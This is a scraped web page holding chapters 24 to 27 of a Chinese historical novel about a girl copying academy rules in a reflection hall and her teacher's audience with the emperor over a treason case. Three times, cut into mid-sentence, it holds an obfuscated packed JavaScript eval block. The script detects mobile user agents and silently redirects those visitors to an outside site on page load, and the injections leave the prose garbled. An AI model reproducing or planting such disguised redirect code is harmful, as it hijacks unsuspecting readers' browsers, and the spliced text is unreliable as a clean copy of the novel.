;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240440|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓着折扇的阮歆梨,威胁地轻抽了一下折扇:“话这么多,一定是还有余力。” “没有没有!” 生怕顾明池真的抽了扇子,阮歆梨赶紧抓紧折扇道:“阿梨真的走不动了!阿梨不说话了!谢谢顾先生!” 粉唇紧抿,她一点声也不敢再出! 顾明池满意转身,这才继续牵着折扇,半托着身后的小尾巴继续往思过堂走去。 走走歇歇,等到思过堂门口时,太阳已然西落。 顾明池以扇推门,阮歆梨躲在他的身后,探头向内望去。 陈年墨香混着檀灰味扑鼻而来,殿内燃着两排长明灯,火苗如豆,在墙上映出点点光斑。 殿堂正中供着至圣先师的牌位,乌木鎏金的字迹泛出淡淡暖光。 “唔.......” 阮歆梨好奇地打量着大殿内的模样,顾明池低头询问道:“怎么了?” “和我想象中的思过堂不太一样。” 顾明池带着阮歆梨走进殿内,燃了两炷香,引着她先一同祭拜了至圣先师,这才取了火折子,将殿檐下的烛灯一盏一盏点燃:“你想象中的思过堂是什么样子?” 阮歆梨揉着腿坐在蒲团上四处打量:“我以为思过堂应该是周围黑漆漆的,灰地冷壁,看起来阴森恐怖!” 点亮所有烛火,顾明池吹灭火折子睨了眼阮歆梨:“你想的应该是刑部大牢。” 阮歆梨挠了挠脑袋嘿嘿一笑,这会灯火通明,殿内的那点昏暗也全部被驱散开来。 没了先前未知的害怕感,她大着胆子在殿内遛了两圈,然后将至圣先师前的蒲团推到了一起,开心地仰躺于上。 软硬适中的蒲团垫在身下,她舒适地眯起了眼,光线突然一暗,她睁开眼,看着半弯着腰紧盯她的顾明池道:“怎么了?” 修长的眉宇轻挑,顾明池提醒道:“你是不是忘记了什么重要的事情?” 睫羽扑扇,阮歆梨仰面看着他:“......什么重要的事?” 顾明池沉默无语,指了指悬在上方写着“静思己过”四个大字的牌匾道:“你来思过堂是做什么的?” 倏然想起自己还有任务没有完成,阮歆梨一把翻坐起身,拍了拍自己的双颊打起精神道:“差点忘了!阿梨还要抄戒规!” 顾明池点点头,给她让了一条道。 从蒲团上跳起身,阮歆梨迈了一步又退了回来。 看她僵着不动,顾明池好奇道:“怎么了?” 阮歆梨看着他干笑道:“顾先生,戒规是什么?” 顾明池:“......” 看着只放了笔墨纸砚的书桌,顾明池头疼地捏了捏眉心。 “忘记了,以往都是入院第二天才开始背诵戒规。” 阮歆梨眨眨眼:“那阿梨现在怎么抄默?” 顾明池对视不语。 阮歆梨转了转眼珠:“太傅爷爷说顾先生你以前也在盛京院学习,那你一定会背吧。” 顾明池:“......罢了,我说你写。” 顾明池认命地走到书案前,阮歆梨坐好提笔—— “第一律,尊师重道。凡入院者,当以师礼敬奉先生,言行恭敬,不可轻慢。先生讲授......你看着我做什么?” 顾明池念了一串,却发现阮歆梨提着笔一字未写。 阮歆梨轻轻咬了咬笔杆,憋红了脸不好意思道:“你说得那些......阿梨好多字不会写。” 顾明池:“......” 25. 第 25 章 青瓷油灯在案头静静燃烧,一大一小两道身影端坐于书案前,思过堂内一片静谧。 完成最后一字,顾明池收笔晾墨,他抬手轻支下颌,看着那只小巧微肉的手握着细长的狼毫笔,在宣纸上一笔一画,认真地模仿他所写的内容,如玉面容上显出几分诧异。 没有推诿,没有敷衍。 从他带着阮歆梨来到书案前,她便安安静静地听他讲读戒规,认真地按着他所写的样本去模写。 虽然字体尚不成熟,但每一笔都有用心去钻研。 这是一个漫长枯燥的过程,可是他却没听到一句抱怨。阮歆梨的态度,倒是让他对她又重新改观。 娇而不惯,错而知责。 灯影摇曳,顾明池看着乖巧用心的新学生,唇角噙笑,双眸藏星。 夜风习习,殿外时而传来树叶簌簌之声。忽然扑通一响,坐在案前的师徒二人一同望向了声音传来之处。 门扉紧闭,屋外一片漆黑。 “......喵” 一声颤颤巍巍的猫叫一闪而过,阮歆梨微微疑惑:“好奇怪的猫叫。” “山里的猫自是有些不同,继续写吧。” 顾明池的目光自方才响动处掠过,窗下黑影绰绰,他眉梢轻动,闭眸浅笑道:“我闭目休息一会,你若有事再唤我。” 阮歆梨偏头看向撑额而眠的顾明池,面容沉静,呼吸渐重,不过片刻功夫,已然陷入熟睡。 她摸了摸自己的肚子,双手撑颊,不禁小声嘟囔道:“能睡真好,阿梨也好困,还很饿......早知道就不把桂花糖全给出去了......” “喵~” 门外又传来一声猫叫,依旧是古怪的腔调,但是没了方才那般谨慎害怕的情绪。 阮歆梨听着声响未动,那猫儿似乎又急了些,接连两声喵叫,声音渐响,尾音也上旋带翘,一声一声好似在勾引屋内的人出去。 方才就觉得这猫儿怪怪的,声音低哑,叫得还不甚熟练,就像是刚刚学会出声。这会倒是熟练了,但是叫声又很急促焦躁。 阮歆梨搁下笔,轻手轻脚地摸至窗边,贴着窗纸观察了片刻,风微树止,先前的猫叫声又仿佛都是错觉。 笃笃—— 窗扉轻颤,下缘处突然传来两声敲击闷响。 阮歆梨诧异地睁圆了眼,她斜眸看向撑着额首尚在熟睡的顾明池,抿了抿唇瓣,小心翼翼地将窗户掀开一缝。 窗外树影重重,只远处主院灯火微明,减轻了些夜色的压迫感。 “阿梨!” 下方突然传来的轻唤声,吓得阮歆梨手上一松,半掀的木窗顿时砸落下来。 窗下一只手臂倏然抬起,赶在窗框击出巨响前,将它重新撑了回去。 “沈良朝?”阮歆梨诧异地看着眼前的撑窗少年,旁边又冒出一颗戴着兜帽的脑袋:“一一!” “你们两个怎么在这里呀!” 激动的阮歆梨声音骤然提升,沈良朝和方绾一赶紧伸手捂住她的嘴,三人一同小心地望向顾明池的方向。 坐在书案前的身影微动,只见他移了移撑额的手臂,换了个更加舒适的姿势继续睡去。 僵在窗边的三人一同松了一口气。 “吓死我了,要是被顾先生发现,我们大概也要进来抄戒规了。” 方绾一轻轻拍了拍胸口,从自己的披风下掏出一个小包裹递于阮歆梨:“夜间寒凉,我带了一床薄裯,你且凑合着用。” 阮歆梨接过包裹,心头一片感激:“一一,你真好!” “没什么,你照顾好自己!” 一旁的沈良朝撑着窗缘不语,方绾一眸中微疑:“你不是说也带了东西要给阿梨么?” 阮歆梨抱紧包裹歪头看向另一边的沈良朝,斑驳光影落在她娇俏的面容之上,乌眸明亮,她期待询问道:“你也给阿梨带了东西么?” 少年面容冷峻,嘴角紧抿。不过须臾对视,他便偏头错开了视线,藏在夜色一边的耳尖也泛起了红晕:“......嗯,给你带了点吃的。” 沈良朝从怀中取出油纸包裹的热食递出,一股葱油肉香自油纸包中扑鼻而来。 “这是......葱油鸡!”阮歆梨惊喜地接过沈良朝递来的食物,低头狠嗅两下,眯着眼眸满面幸福:“太棒了!一天没吃饭,阿梨的肚子早就咕咕叫了!” “良朝!谢谢你!” 这是阮歆梨第一次直唤他的名字,看着她开心灵动的神情,沈良朝红着双耳慢慢牵起唇角:“不......不用谢。” 阮歆梨抱着好友们送来的东西,一双杏圆眸眯弯成了月牙。片刻后,她忽然想起什么,左右看看俩人奇怪道:“你们两个先前就很熟么?竟然会一起过来!” “我和她不熟。” 沈良朝飞快否认,方绾一也摇头道:“我俩是在上山路上遇着的,之前并不相熟。” “是这样啊......”阮歆梨伸手拍了拍俩人的肩膀:“没事,你们都是阿梨的好朋友,现在我们互相都熟悉了,你们俩也就是好朋友啦!” 沈良朝的脑海里都是“好朋友”三个字,终于压不住唇角,僵着脖颈点头道:“嗯,你说得对,都是好朋友。” 眸光流转,方绾一终于看出了些沈良朝的心思,了然一笑:“嗯,阿梨说得没错。好了,待会就要查房落锁了,我们也该回去了。” 她瞥了眼屋内的顾明池,贴近阮歆梨小声提醒道:“突然多了这些东西,你得找个理由骗过顾先生。” 闻言,阮歆梨用力点了点头:“放心!我有办法搪塞过去!” “嗯!那我们就先走了。你抓紧时间抄完戒规,明天便能出来了!” 经方绾一这么一提醒,阮歆梨这才想起自己只抄了一遍的戒规! “啊!阿梨还有好多没写!再不快点,今晚就写不完了!” 阮歆梨趴在窗户前可怜巴巴地冲俩人挥了挥手:“谢谢你们,路上小心点,阿梨会努力和你们明天见!” “一定可以的!”沈良朝想了想道:“等会回去我便帮你抄,明天一早再给你送来!” 阮歆梨眸中一亮,随即又泄气摇头道:“还是不要了,本来就是我做错了事,如果你替我写,那阿梨就是知错不改,还成了撒谎精。” 沈良朝还想再劝,方绾一也不赞成道:“沈公子还是让阿梨自己完成吧。你与她的字迹不同,若是明日再被司业他们看出问题,只怕阿梨还得受罚。” 方绾一说得有理,沈良朝这才作罢:“那你量力而行,若是太累便歇息,写不完的话,明天我再帮你向爷爷求情,他定然也不会真与你计较。” “没事的!不过十遍戒规,阿梨一定写得完!” 主院钟声响起,阮歆梨催促道:“第一道钟声已经响了,你们赶紧回去吧!” 方绾一提了灯笼叮嘱道:“那你照顾好自己,我们先走了。” “快走吧!路上当心!” 阮歆梨挥手告别,沈良朝又望了片刻,这才快步上前为方绾一探路,俩人相伴离去。 灯笼照射出的那点火光渐远,阮歆梨这才察觉出一点不舍,轻轻叹出一息后,她才小心地将窗户合拢,抱着两个好友的心意,慢吞吞地走了回去。 顾明池还靠在案前沉睡,阮歆梨看着怀中的物品,开始思考该如何解释它们的出现。 思过堂内一共便只有两块区域,正中供奉至圣先师,左侧以隔断分出一间小书房,留给思过之人习用。 环顾一圈也没找到什么藏东西的地方,阮歆梨瞥了眼顾明池的身影,慢慢拆开油纸包,准备趁他睡着,一口气将葱油鸡全部吃掉! 葱油鸡散发着诱人香味,已经张开口的阮歆梨犹豫着停了下来。 她又偏头看了看顾明池,摸了摸自己的肚子小声道:“阿梨没吃饭,顾先生也没吃,那他应该也很饿吧......” 她将葱油鸡重新包好,轻声一叹,目光落到了一旁的供案上。 香炉中的香火已经燃尽,桌上供奉的三盘瓜果摆放整齐。 阮歆梨盯着那三个青花瓷盘,突然有了想法。 她抱着葱油鸡摸到案前,高大的至圣先师像立在牌匾后,手持书卷低头温和地看向下方。 阮歆梨抿紧双唇,双手合十朝着至圣先师歉意一拜,随后将中间那盘瓜果分放于左右,然后拿下盘子,把自己的葱油鸡放入盘中,藏到了供案之下。 “至圣先师在上,阿梨借用一下您的果盘,还请莫怪!” 抱着薄裯回到书案前,看着闭目休息的顾明池,她将薄裯抖开,踮着脚轻轻搭在了他的身上。 “嗯?”阮歆梨刚刚爬上座椅,顾明池便悠悠醒转过来。 他摸了摸自己身上的薄裯,看向一旁正提笔作样的阮歆梨:“这是?” “额......”阮歆梨避开他的视线,挠了挠腮帮道:“我看先生睡着了,在柜子里找到了这个,大概是上一个被罚的人留下的吧。” 顾明池轻笑一声:“是么?那阿梨还挺好运的。” “是......是的。” 阮歆梨心虚落笔,好在顾明池也没多问,只翻了一页她所写的戒规,便撑着下颌看向了别处。 心里惦记着供案下的葱油鸡,阮歆梨瞥了几眼游离出神的顾明池,故意抽了两下鼻翼惊喜道:“啊!这是什么味道?好香啊!” 黑圆的眸子轻转,透粉的唇瓣僵硬地牵扯向上,顾明池慢慢转回头与阮歆梨对视,须臾后,双眉轻扬,配合着她惊喜道:“是啊,我也闻到了,好香啊!” 额,好奇怪! 阮歆梨瞟向支首浅笑的顾明池,尴尬地跳下座椅,一溜烟朝着供案小跑道:“好像在这边,阿梨去看看!” 看着落荒而逃的小巧背影,顾明池不禁笑出了声。 抓住肩头滑落的薄裯,他笑声轻敛,看着趴在供案下的小小身影,他垂下眼眸尽显温柔。 “先生!这里有葱油鸡!” 听到阮歆梨的呼喊,他慢慢起身,来到了她的身旁。 阮歆梨将油纸包拆开捧至顾明池的面前,圆睁着眼瞎说道:“这一定是至圣先师偷偷藏到供案下的!” 顾明池瞥向突然背了馋嘴之名的至圣先师,玉面逢春,终是忍不住笑道:“应该是他吃腻了瓜果,嘴馋吧。” 见顾明池对此没有怀疑,阮歆梨大大松了一口气。 她将油纸包往顾明池面前送了送:“这有一整只鸡,我们分吃了吧!” 话音刚落,咕噜一声低响,阮歆梨红着脸捂住了自己的肚子。 顾明池装作什么也没听到,他看了眼室外,起身向外道:“我不饿,你自己吃吧。今日夜色不错,我出去看看,一会再回来。” “哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252949|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 阮歆梨还没来得及说什么,顾明池已经合了门,独自走了出去。 她看着手中的葱油鸡,终于不再忍耐饥饿,扯下一边鸡腿大口咬了下去! 山间清风撩动,空中无云,繁星点于天幕。 顾明池望着高空,回想阮歆梨方才拙劣的演技,面上笑色尽显。 “这次挨罚,你的心态倒是格外的好。” 顾明池神情微愣,偏头看向身侧,拱手行礼道:“太傅。” “早就说过,你我师徒,不必这么客气。” 沈太傅提着食盒放至一旁的石桌上,轻轻踱步至顾明池身侧,与他一同静赏书院:“莫不是在怨为师罚你一事?” “明池岂会因此生怨,您误会了。” “不是便好。”沈太傅负手直立,遥遥望向书院那棵古树轻笑道:“它今日可又遭了罪,早些年因你偷溜出院,被压塌了半边枝桠。今日又被你教唆学生坐压了新出的枝叶,这些年,它也甚是不易。” 顾明池轻咳一声:“今日也非明池教唆。” 眉尾高扬,沈太傅神情笃定道:“非你教唆,也定有你相助。你以为梯子藏远点,我就发现不了了么?那院外铺着软垫的竹篓,和你当年的手法如出一辙!” 老底被揭了个干净,顾明池这才浅笑应声:“果然还是瞒不过您。” 沈太傅得意捻须:“不枉我特意约了司业在那下棋,抓你们个现行。” 顾明池恍然,难怪今日这么凑巧。 “说说,你们今日缘何出院?” “没什么,只是看她贪玩想要偷溜出去,我便好奇她想做什么,就帮了一把,偷偷跟了过去。” 沈太傅神色带疑:“当真如此?” 顾明池点头应声:“当真如此。” 沈太傅看着顾明池不语,片刻后摇头轻笑:“你打小就心思灵敏,对各种事情好奇,这倒也是你会做得出的事。那你查明白她去做什么了么?” 顾明池神色微顿,只挑了一部分内容回答道:“她只是贪嘴去了云善楼,结果还碰上了林将军。这次休假,大概是少不了她娘的一顿训斥了。” 沈太傅也不禁一怔,随即笑出了声:“这倒真是赶巧了。” 片刻后,沈太傅又轻轻拧眉:“云善楼一事,我也有所耳闻。” 顾明池瞳眸微动,沈太傅提醒道:“今日陛下派人传了口信,让你明日进宫一趟,大概是要询问你这一事。明池,此事你怎么看?” “事情尚未查清,明池不敢妄言。” 沈太傅瞥了眼思过堂,愁眉一叹:“你可知我为何让你与她同进思过堂?” 顾明池不语,沈太傅了然:“我就知你会明白。若按曾经你与林枝意的亲近关系,你与阿梨怕早已是亲如兄妹。明池,我至今也不明白,究竟是何事让你与林枝意生了嫌隙,这些年竟是形同陌路。” “太傅。”顾明池低声恭敬道:“明池知您好意,希望能借阿梨缓和我与林将军之间的关系。” 顾明池顿了顿:“或许早年明池有过误解,但涉世渐深,明池也看得更加明白,那些误解早已淡去,您不必担心。” 沈太傅皱眉思忖,半晌后才松懈眉头:“你能想明白便好。” 顾明池低首浅笑,沈太傅示意跟随而来的随从沈鹤,将桌上食盒递于顾明池:“今日回来便进了思过堂,你和阿梨定也饿了。我那孙子偷偷摸摸只藏了一份葱油鸡,怕是也不够你们填饱肚子。” 沈太傅摇头无奈道:“也不知他像谁,明明是关心人,却一直板着一张冷脸,做事也不够机灵,也就这一点实心眼稍微像了他爹几分。” 突然提及死去的沈至诚,沈太傅的笑容也淡了几分。 “良朝至诚至善,如今不过是年纪尚小,未来自是不可估量,太傅何必忧心。” 听到顾明池的话,沈鹤也顺着劝诫道:“顾大人说得是,公子尚小,往后总会变的。” 沈太傅摆手微笑:“罢了,这样也挺好,人行一世,若能一直维持诚善之心,反而更是难得。” “行了,阿梨怕是也饿狠了,你赶紧进屋吧,我也该回去了。” 沈鹤提了灯笼伴在沈太傅身侧,贴心照着前路。 沈太傅微微推拒他的搀扶,顾明池看着他孤倔的背影提醒道:“山路难走,您慢点。” 前行的脚步微顿,沈太傅摆了摆手,示意顾明池不必担心。 主仆二人渐远,顾明池拎着食盒回身进屋。 一推屋门,便看见火红的身影蜷缩成一团安睡在蒲团之上,她的身侧还留了半只重新包裹严实的葱油鸡。 顾明池面色一柔,将食盒轻轻放至桌上。 他自书桌旁取来薄裯,仔细遮盖在阮歆梨的身上,将她垂在一旁的双手也细心地拢进了薄被之中。 顾明池触了触尚有余温的葱油鸡,蹲在她的身侧浅笑:“小麻烦精倒是挺有良心。” 他从一旁又拿来两个蒲团,准备垫至阮歆梨身下,却在她的身旁瞥到了一张折叠的纸条。 顾明池捡起纸条展开,看清纸上内容,眉心渐渐拢起—— “五月初二,凶,不宜会友,小人行祟。” 纸上字迹遒丽,显然出自旁人之手。 顾明池紧盯沉睡的阮歆梨,眸中暗光流转:“原来当真有神明。” 不是真神,而是装神。 26. 第 26 章 盛京院有着一大片后山,依山傍水环境好,院内闲着无聊的官员们便在后山处种植果蔬,蓄养牲畜,享乐山水田园生活。 所以每到清晨,院内的学生根本等不到院内钟声击响,便会被这些博士、助教等人精养的公鸡鸣醒。 阮歆梨便是在这一声比一声高昂的打鸣声中,不甘不愿地起了身。 “好吵啊......” 晨光透过隔扇雕花透入,晃得阮歆梨不得不睁开眼。 拽着薄裯在蒲团上呆坐,入眼环境陌生,直到她转头看到高立的至圣先师像,这才想起自己如今身在何处。 “糟了!怎么就睡着了!” 一把掀开薄裯,阮歆梨赶紧跑向书案,匆匆抓起已经干硬的狼毫笔,手忙脚乱地翻找起昨天还未抄完的戒规—— “哎?” 镇纸下整理好的纸张摞起厚厚一沓,随手翻阅了一部分,她茫然回想,又翻回头仔细数了一遍:“一、二......十。” 嗯??? 不对劲,再数一遍! “一、二.......十!” 不可置信地反复重数,阮歆梨圆睁着眼准备再数一次时,书房的窗台下传来一道懒洋洋的声音:“你是刚学数数么?一到十都要数这么多遍。” 顾明池拉下盖在脸上的外袍,抬手遮住刺眼的光缓了片刻,这才从窗台下的条桌上坐起身。 他支着腿还没来得及下桌,阮歆梨已经捧着那一沓抄写完的戒规,站到他的身旁激动举起道:“先生,这些戒规竟然抄完了!” 顾明池一点眼神也没分给阮歆梨手中那沓纸,只手背掩唇打了个呵欠,敷衍地点了点头:“嗯,我没聋,你都数了八遍一到十了。” 阮歆梨踮脚撑在条桌旁,仰头看着坐在上方的顾明池不可思议道:“可是阿梨昨天只抄完了两遍!” 顾明池绕开她轻跳小桌:“那就是你记错了。” 阮歆梨也有些不确定:“应该不会吧。我昨天吃饱后,还留了半只鸡,就坐在蒲团上等你回来,然后......” 她骨碌着眼珠思考,回想片刻肯定道:“然后我就睡着了!” 没写完的戒规竟然自己完成了! 这实在是太神奇了!阮歆梨越想越兴奋,像条小尾巴一样,一直跟在顾明池的身后,嘴里还一直念念叨叨。 搓揉脸颊的顾明池终于彻底醒神,他抱臂转身,用手指点了点阮歆梨手中的纸张:“这是罚你的抄写,不是你写完的,那又会是谁?还有,你自己的字迹,你不认识么?” 对哦!如果是别人替她完成的,那字迹肯定不同! 直接略过前面自己抄写的内容,一张一张翻过去,阮歆梨越看越迷惑。 纸上都是一样的字迹,确实是她自己所写,可是她怎么一点印象也没有? 挠着脑袋满面疑惑,顾明池睨了阮歆梨一眼问道:“如何?是不是你自己写的?” “唔......好像是,但是还是觉得怪怪的。” 折扇轻敲发顶,阮歆梨揉着脑袋看向从她身边经过的顾明池。 见她大有打破砂锅问到底的趋势,顾明池瞄了眼慈眉善目的至圣先师像,折扇一敲睁着眼瞎说道:“或许是至圣先师见你态度诚恳,特意显灵帮了你呢?” 没等阮歆梨答话,他又用下颌点了点那剩下的半只葱油鸡道:“昨夜他不是还送了一只鸡给你,抄个戒规又算什么难事?” 但是昨晚那只鸡就不是至圣先师送的,是我瞎编的。 可这话阮歆梨说不出口,只能在心中暗暗嘀咕。 不过,也许真的是至圣先师显灵了? 毕竟琉璃盏都能吐签纸测吉凶了,神仙扎堆下凡也不是没有可能。 只是这些神仙为什么都这么好心帮助她? 思绪乱飞,脑子里想了一堆杂七杂八的东西。 见她视线乱飘,顾明池便知这小麻烦精一定是在想其他什么东西,说不准就和那张签纸有关? 眸光暗转,顾明池试探道:“不过,应该还是你自己写完忘记了吧。毕竟依你的运气,怕是遇不到这等好事。” “为什么?阿梨的运气可好了!” “好?”顾明池轻点折扇一脸不信道:“上次想要翻墙离家,结果高烧摔下了墙头,被我送了回来。昨日去云善楼偷吃,又是被劫,又是遇着你娘,回来还被司业他们抓个正着,还被罚来思过堂抄戒规。你瞧瞧这运气......” 顾明池撇着嘴摇了摇头。 “才不是呢!这明明是阿梨运气好!每次都......” 话音戛然而止,顾明池抬眸诱问道:“每次都什么?” 阮歆梨抿了抿唇收住话道:“每次都没出什么大乱子。总之,阿梨才不是倒霉精。” 又是半垂了眸子四下乱看。 看出小麻烦精的心虚,顾明池心中更加笃定这两次案子与她之间的牵连并非巧合。 昨天看到的签纸一定有问题,而且很大可能还不止一张! 小麻烦精虽然看起来傻乎乎的,但关键时候还算机警。 明白直接套听是套不出什么有用的信息了,顾明池笑了笑向外走道:“行了,反正戒规已经抄完了,咱们也可以回去了。” 顾明池走在前方拉开了思过堂的大门,宽大的袖摆拂过紧跟在他身后的阮歆梨,浓郁的墨香擦鼻而过。 阮歆梨一把揪住刚刚散发出墨香的衣摆,顾明池被拽得一顿:“怎么,还舍不得走了?” 阮歆梨赶紧摇头道:“才不是!” 顾明池继续迈步前走,袖摆自她的手中一滑而过。 阮歆梨眼尖的看到一团墨影,白底青纹的袖边被墨汁浸透。 昨夜顾明池教她抄写戒规时一直挽着袖子,定然不是那时染得墨汁...... 眼下泛青,右手染墨。 阮歆梨低头看了眼自己手上莫名其妙被抄完的戒规,抬眸低语了一声—— “撒谎精。” 见阮歆梨没有跟上,顾明池回首扬声道:“还不走么?你若是喜欢这里,我便和司业说一声,留你在这多过几日!” “来了!阿梨才不要留在这里!” 顾明池负手前慢走,阮歆梨跳跨着步子追了上去。 她晃着辫子一蹦一跳地跟在他的身后,心里又默默补了一句—— 虽然是个撒谎精,但也是一个热心肠的撒谎精。 行到戎秀苑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256413|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附近时,顾明池停下脚步道:“早课辰时之后开始,你若是还困,可以先回去补上一觉,等上课时再将罚抄的戒规交给杨司业。” “那你呢?”阮歆梨看向准备外出的顾明池:“你是要出去么?” “嗯,今日没有我的课,刑部那边也还有公事需要处理。” “哦。” 顾明池准备离开,想了想又回头叮嘱了一句:“好好在书院里学习,别再惹祸,不然你就别想从思过堂里出来了。” 我也不是故意想惹事啊! 反驳的话不敢说出口,阮歆梨怂怂点头道:“阿梨一定乖乖学习。” 盛京院外,崔参早已备好马车等在门口。 顾明池掀帘稳坐,崔参驾着马询问道:“大人现在是要去都堂么?” “不,先进宫。” 今日不需朝会,景明帝一早便坐在崇和殿中批阅奏折。 见到顾明池前来,他也没急着问话,先将人在一旁晾了片刻,直到手旁那叠奏折看完,这才抬眸道:“怎么在这站着?秦正,怎么也不知道给顾侯爷看座?” 秦公公低弯了腰惶恐道:“是老奴疏忽了!老奴这就去安排!” “不用麻烦。”顾明池摸了摸鼻尖笑道:“昨夜在思过堂坐了一宿,这会也不太想坐。” 景明帝停笔掀眸,眉头轻轻挑动道:“看来你昨夜思过甚深啊!” “犯了错自是该好好反省。” “是么?”景明帝起身一笑:“那便跟朕说说,你都反省明白了什么。” 景明帝眼神轻动,秦公公带着侍从悄声退下,将殿门合了起来。 殿内只剩君臣二人,顾明池这才俯身认错道:“明池自知有罪,还请陛下莫要为此气伤自己。” “你怎么就有罪了?”景明帝斜眸睨人道:“朕可没有生气。” 顾明池半掀眸子浅笑道:“您若不气,便不会故意唤明池顾侯爷了。” 自顾明池承袭爵位,为避免他听着称呼思念故人,朝中皆以官职相唤,鲜少以爵位相称。 他的父亲在世时,景明帝也多与他兄弟相称,很少会以封号相唤,如果有,那一定是他父亲的倔脾气又惹得景明帝生了气。 景明帝轻哼一声,将手中折子扔在桌上:“你倒是机灵,昨日在云善楼看戏看得可还过瘾?” 顾明池低首不语,景明帝眉头一横:“若是阿木那没有劫持林家那个小丫头,你就打算放他走么?” “自是不会。” “哼!”景明帝气得敲了敲桌子:“你是不会,但是你在故意拖延!你明明可以在云善楼就出手,可你还想探探林枝意究竟是何情况!明池,朕先前说得话,你是全当了耳旁风!” 顾明池没有反驳景明帝的话,而是坦然抬眸对视道:“陛下先前说希望明池放下执念,一生安乐。您如今又怕明池与林将军有瓜葛,是觉得林将军会给明池带来危险么?” 景明帝话语一滞,片刻后皱眉叮嘱道:“总之,这些事你都不要再插手,在刑部做好你分内的事。” 顾明池并不接话,拧眉执着道:“是又发生什么事么?” 景明帝抬眸凝视,须臾后面色沉重道:“昨日,林枝意杀了薛远哲。” 27. 第 27 章 薛远哲的死,既是意料之中,也是意料之外。 阿木那已经被灭口,背后之人自然也不会留下薛远哲。但是他会死在林枝意手上,这一点,顾明池始料未及。 薛远哲通敌叛国,算计林枝意,她本是受害者,可她又将已经被捕的薛远哲杀死,这其中曲折便有些言不清道不明了。 顾明池拧眉思忖,不动声色地观察了一眼景明帝的神色。 景明帝倚坐在上,指尖无意识地捻动着翠玉佛珠,眉间那道常年不散的刻痕又深了几分,他神色平静眼帘轻垂,半遮的眼底却暗色翻涌。 “上一次杜佥事一案,林枝意一开始便笃定与北寒无关,是你发现了蹊跷,这才暂时排除了此事为暗鸢楼所为。这一次阿木那自称为北寒人,但林枝意却认为他是游离在北寒之外的那弋人,坚持此事非北寒所为。” 景明帝直腰靠坐,望向下方站立的顾明池道:“对此,你有何看法?” 顾明池略一思索谨慎道:“目前线索未明,明池不敢妄断。” 对于顾明池的回答,景明帝似乎早有所料,只点点头未在追问。 指节轻叩身前的紫檀案几,景明帝抬眸决定道:“薛远哲一案,朕已命盛京府、大理寺、刑部同办,刑部这边便由你负责。” 顾明池心下微诧,俯身应声道:“臣领命。” 景明帝深深望了一眼低首诚拜的顾明池,揉着眉心神色疲倦地挥了挥手:“你先下去吧,案情相关,你只管去大理寺询问。” “是。” 顾明池躬身退出,秦公公瞥了眼殿内闭目养神的景明帝,轻轻合拢了殿门。 见顾明池还在一旁未走,秦公公会意道:“今日老奴糊涂,在殿上怠慢了小侯爷,若是小侯爷不嫌,老奴便送您一程。” “秦公公客气,如此便有劳秦公公了。” 秦公公陪着顾明池漫步,直至距离崇和殿已远,顾明池方才开口询问道:“今日见陛下神色疲倦,可是这两日不曾休息好?” 环顾四下无人,秦公公忧愁叹道:“还不是因为昨天白日之事。本来薛副将通敌,就已经够陛下头疼了。没想到林将军又杀了薛副将,断了这最后一条线索,陛下又怎能休息好?” 昨日离开前,林枝意已将薛远哲送入了大理寺的地牢中,顾明池探听道:“薛远哲本已押入大理寺牢,又如何会死在林将军手上?” “哎,这林将军也是个鲁莽性子!”秦公公慢着步子与顾明池闲聊道:“本来她与张大人说一同在审问薛副将,但是这薛副将拒不认罪,只说自己是遭了蒙骗,将一切罪名推得一干二净。” “林将军那暴脾气您也知晓,薛副将本是她的至交好友,如今被挚友背叛,她心中自是不好受。听到薛副将的狡辩,当即就恼了,在牢中拳脚相向,张大人在一旁拦也拦不住。” 说至此处,秦公公不禁长叹:“好巧不巧,这最后一脚正好落在了薛副将的心窝处,人吐了好大一口血,当场亡了。” 顾明池蹙眉不语,秦公公继续言道:“林将军对薛副将通敌一事早有所觉,却又不提前禀告,对此陛下已是微恼。这会她又失手将人打死,没有证据的情况下,在殿上又极力维护北寒,陛下勃然大怒,当即下令禁足,让林将军回府中自省一月。” “被陛下当着众人的面责训,林将军大概是觉得有些抹不开面,竟是一言不发直接离宫回府。虽然人是老实在府中认罚,但她的态度实在是......” 想想林枝意是镇远大将军,自己也不好评论,秦公公没再多言,只长吁一声:“老奴年少便跟在陛下身边,看着陛下与林将军相识相熟,也是不曾见过他们二人如此僵持。” 若只是恼火僵持一段时间倒也罢了,怕就怕君臣之间就此生了嫌隙。 林枝意手握重兵,是东盛良将,若是她心生不满或当真有了异心,这对东盛无疑是一个巨大的隐患。 顾明池暗自思忖,忽然明白了一直极力阻拦他追查往事的景明帝,何以突然放手,将薛副将一案交给他来审查。 